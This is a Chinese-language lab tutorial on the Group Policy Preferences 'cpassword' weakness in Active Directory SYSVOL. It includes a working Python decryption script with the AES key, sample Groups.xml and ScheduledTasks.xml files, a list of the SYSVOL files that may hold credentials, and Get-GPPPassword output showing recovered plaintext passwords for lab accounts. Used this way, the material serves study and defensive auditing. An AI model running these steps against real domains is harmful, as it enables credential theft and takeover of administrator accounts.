组策略之xml保存的密码
本文通过GPP引出为什么SYSVOL的xml文件中保存着各种账号密码
0x01 GPP漏洞介绍
先介绍下GPP漏洞,GPP全名Group Policy Preferences,组策略首选项。可以通过部署GPP,部署的策略给域成员都添加一个用户或者修改本地用户administrator的密码,达到统一管理本地管理员用户密码的功能。那么这时候域控的SYSVOL共享目录里有一个global.xml里面可能会存放{name,cpasswords},这个账号密码很可能就是域里面所有机子的本地管理员账号密码。所以只要有一个域用户(域机器的system)权限,使用该域用户net use连接域控,然后net view查看域控的共享目录,再用dir将域控的SYSVOL目录下的所有xml文件列出来,找到Groups.xml文件,查看cpassword字段,解密即可。
0x02 环境搭建
在域控先创建组织,该组织下面的所有域机器都通过GPP管理本地管理员的密码
将一些域机器移动过去
给GppComputers组织创建组策略
GPO名字随意
右键编辑
选择本地用户,右键新增,本地使用者
密码更改为Gpppassword.
0x03 获取密码
到SYSVOL中查看
在User\Preferences\Groups文件夹下有Groups.xml文件
内容如下
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (內建)" image="2" changed="2021-02-07 08:54:02" uid="{D3BBF62A-E741-4269-B4BE-71E21F972F64}"><Properties action="U" newName="" fullName="" description="" cpassword="j9Gdj+aYbrzW2mH1wHHC8/D7L+pkZ3iLSs4NjCybA1M" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (內建)"/></User>
</Groups>
提取出cpassword字段的值
使用py脚本解密:python2 gpp.py j9Gdj+aYbrzW2mH1wHHC8/D7L+pkZ3iLSs4NjCybA1M
需要安装pycryptodome模块,python2 -m pip install pycryptodome
import sys
from Crypto.Cipher import AES
from base64 import b64decode
from base64 import b64encode
key = """
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
""".replace(" ","").replace("\n","").decode('hex')
cpassword = sys.argv[1]
cpassword += "=" * ((4 - len(sys.argv[1]) % 4) % 4)
password = b64decode(cpassword)
iv = "\x00" * 16
o = AES.new(key, AES.MODE_CBC, iv ).decrypt(password)
plaintext = o[:-ord(o[-1])]
print(plaintext)
成功解出密码
0x04 其他XML文件
例如计划任务,创建一个GPO,名字随意
选择计划任务
在执行身份中选择使用域用户sqladm,执行弹计算器命令
到SYSVOL中查看
在\User\Preferences\ScheduledTasks文件夹下有ScheduledTasks.xml,内容如下
<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><Task clsid="{2DEECB1C-261F-4e13-9B21-16FB83BC03BD}" name="calc" image="0" changed="2021-02-07 07:25:21" uid="{93F6A743-CC48-48CB-BF65-4F68EDAE4BB9}"><Properties action="C" name="calc" appName="C:\Windows\System32\calc.exe" args="" startIn="" comment="" runAs="MOTOO\SQLAdm" cpassword="g0FxPqXVuUh7g07FH0UAKeZQLjFzdltWFdkx7gdM7Fc" enabled="1"><Triggers><Trigger type="DAILY" startHour="1" startMinutes="0" beginYear="2021" beginMonth="2" beginDay="7" hasEndDate="0" repeatTask="0" interval="1"/></Triggers></Properties></Task>
</ScheduledTasks>
执行的用户身份如下
取出cpassword值,成功得到域用户motoo\sqladm的密码
在下面的这些xml里也都有可能保存着账号密码
Groups\Groups.xml
Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml
0x05 更新组策略
Windows会定期刷新整个网络中的组策略设置。 在客户端计算机上,默认情况下每90分钟执行一次,随机偏移量为正负30分钟。 当更改组策略时,可能需要等待两个小时(90分钟加上30分钟的偏移量),然后才能在客户端计算机上看到任何更改。
也可以在客户机使用gpupdate /force 强制更新域组策略
0x06 脚本利用
使用域用户执行该ps脚本,调用方法Get-GPPPassword
可以看到获取到了账号密码
PS C:\Users\WangJuan.MOTOO\Desktop> Get-GPPPassword
UserName : Administrator (鍏у缓)
NewName : [BLANK]
Password : Gpppassword.
Changed : 2021-02-07 08:54:02
File : \\MOTOO.NC\SYSVOL\Motoo.nc\Policies\{4FC55772-5E0A-4ED5-AA84-A3FF988B6409}\User\Preferences\Groups\Groups.xml
NodeName : Groups
Cpassword : j9Gdj+aYbrzW2mH1wHHC8/D7L+pkZ3iLSs4NjCybA1M
UserName : MOTOO\SQLAdm
NewName : [BLANK]
Password : sql123!@#45
Changed : 2021-02-07 07:35:06
File : \\MOTOO.NC\SYSVOL\Motoo.nc\Policies\{E990BD6E-3ABA-45CD-8653-39D2D2B41AA1}\User\Preferences\ScheduledTasks\ScheduledTasks.xml
NodeName : ScheduledTasks
Cpassword : g0FxPqXVuUh7g07FH0UAKeZQLjFzdltWFdkx7gdM7Fc
UserName : Motoo
NewName : [BLANK]
Password : Pwd12345
Changed : 2020-02-23 12:55:13
File : \\MOTOO.NC\SYSVOL\Motoo.nc\Policies\{F92107F8-1D4E-4B26-84C8-75645D783540}\User\Preferences\Groups\Groups.xml
NodeName : Groups
Cpassword : Wdkeu1drbxqPJm7YAtPtwBtyzcqO88hJUBDD2eseoY0
UserName : klion
NewName : [BLANK]
Password : Abc12345
Changed : 2020-02-23 12:55:49
File : \\MOTOO.NC\SYSVOL\Motoo.nc\Policies\{F92107F8-1D4E-4B26-84C8-75645D783540}\User\Preferences\Groups\Groups.xml
NodeName : Groups
Cpassword : jh09kN+cc6X1jYVx5ZLQOzJ7PrCU3R8rAJKT47qzE0k
UserName : ITS
NewName : [BLANK]
Password : admin!@#45
Changed : 2020-03-13 02:19:32
File : \\MOTOO.NC\SYSVOL\Motoo.nc\Policies\{F92107F8-1D4E-4B26-84C8-75645D783540}\User\Preferences\Groups\Groups.xml
NodeName : Groups
Cpassword : Hd/xxCN9bFRTj8C2az+0t3el0u3Dn68pZ1Sd4IHmbPw
UserName : ITSRV
NewName : [BLANK]
Password : in123!@#45
Changed : 2020-03-13 02:50:28
File : \\MOTOO.NC\SYSVOL\Motoo.nc\Policies\{F92107F8-1D4E-4B26-84C8-75645D783540}\User\Preferences\Groups\Groups.xml
NodeName : Groups
Cpassword : 3bjGvfu/GLA3pSuIm1IOgFhCOw8055xOddEX4k3XNAY